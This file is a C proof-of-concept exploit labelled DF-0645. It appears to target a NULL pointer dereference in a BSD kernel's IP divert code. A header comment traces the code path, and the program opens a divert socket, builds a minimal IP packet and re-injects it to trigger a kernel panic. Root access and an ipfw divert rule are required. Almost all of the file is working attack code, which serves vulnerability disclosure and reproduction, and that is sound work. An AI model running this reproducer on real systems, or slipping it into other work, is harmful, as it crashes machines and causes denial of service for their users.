DF-0645 / df0645_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-0645 - NULL deref in div_packet on re-injected divert packet. * * Bug: sys/netinet/ip_divert.c:186 - in the `if (incoming)` block, the code * dereferences `m->m_pkthdr.rcvif` WITHOUT a NULL guard: * * 182: if (incoming) { * 186: TAILQ_FOREACH(ifac, &m->m_pkthdr.rcvif->if_addrheads[mycpuid], ...) * * Line 202 (16 lines below) correctly checks `if (m->m_pkthdr.rcvif)`, so * the developer knew rcvif could be NULL but missed guarding the :186 block. * * The NULL rcvif arises on the re-injection path: * - Userland divert daemon: sendto(divsock, ip_pkt, len, 0, &sin, sizeof sin) * where sin.sin_addr.s_addr != 0 => DIV_IS_OUTPUT(sin) is false * - div_output() (line 366): calls ip_input(m) on the mbuf. * - The mbuf was allocated by sosend -> m_gethdr, which sets rcvif = NULL * (sys/kern/uipc_mbuf.c:596). * - ip_input runs ipfw. The divert rule (e.g. `ipfw add divert 1234 ip * from any to any`) matches and calls ip_divert_in(m, tee). * - ip_divert_in -> divert_packet(m, 1) -> div_packet(m, 1, port). * - div_packet at line 186 dereferences NULL rcvif => kernel panic. * * Setup (root only): ipfw divert rule + divert socket bound to that port. * The divert socket requires SYSCAP_RESTRICTEDROOT (root). * * Build: cc -O -o df0645_poc df0645_poc.c * Run: ./df0645_poc # as root; kernel panics */ #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define DIVERT_PORT 12345 int main(int argc, char **argv) { int port = DIVERT_PORT; if (argc > 1) port = atoi(argv[1]); int s = socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT); if (s < 0) { fprintf(stderr, "socket(AF_INET,SOCK_RAW,IPPROTO_DIVERT): %s\n", strerror(errno)); fprintf(stderr, "(requires root / SYSCAP_RESTRICTEDROOT; ipfw.ko loaded)\n"); return 1; } struct sockaddr_in bindaddr; memset(&bindaddr, 0, sizeof(bindaddr)); bindaddr.sin_len = sizeof(bindaddr); bindaddr.sin_family = AF_INET; bindaddr.sin_port = htons(port); bindaddr.sin_addr.s_addr = INADDR_ANY; if (bind(s, (struct sockaddr*)&bindaddr, sizeof(bindaddr)) < 0) { fprintf(stderr, "bind(divert port %d): %s\n", port, strerror(errno)); return 1; } printf("[*] divert socket bound to port %d\n", port); printf("[*] Please ensure ipfw has: 'add divert %d ip from any to any'\n", port); printf("[*] sending re-inject packet (sin_addr != 0 -> DIV_INPUT path)\n"); printf("[*] expected: kernel panic 'Fatal trap 12: page fault while in\n"); printf(" kernel mode' from div_packet+0x.. dereferencing NULL rcvif\n"); /* Build a minimal valid IP packet (the divert socket has INP_HDRINCL * set in div_attach, so we must provide a complete IP header). */ unsigned char pkt[sizeof(struct ip)]; memset(pkt, 0, sizeof(pkt)); struct ip *ip = (struct ip *)pkt; ip->ip_v = 4; ip->ip_hl = sizeof(struct ip) >> 2; ip->ip_len = htons(sizeof(struct ip)); ip->ip_ttl = 64; ip->ip_p = IPPROTO_RAW; ip->ip_src.s_addr = htonl(INADDR_LOOPBACK); /* 127.0.0.1 */ ip->ip_dst.s_addr = htonl(INADDR_LOOPBACK); /* 127.0.0.1 */ /* sin for re-injection: sin_addr != 0 means DIV_INPUT (ip_input path). * sin.sin_port is the "skipto" hint = 0 means re-process from rule 0, * which will re-match the divert rule and call ip_divert_in(). */ struct sockaddr_in sin; memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(sin); sin.sin_family = AF_INET; sin.sin_port = htons(0); /* skipto = 0 */ sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); /* != 0 -> DIV_INPUT */ ssize_t rc = sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr*)&sin, sizeof(sin)); int e = errno; printf("[*] sendto rc=%zd errno=%d", rc, e); if (rc < 0) printf(" (%s)", strerror(e)); printf(" -- if the kernel panics, this line is the last you see.\n"); /* If we get here, the panic didn't fire. Sleep so any deferred * netisr processing has time to run. */ sleep(2); printf("[!] no panic observed. Check ipfw rule + divert socket binding.\n"); close(s); return 0; } |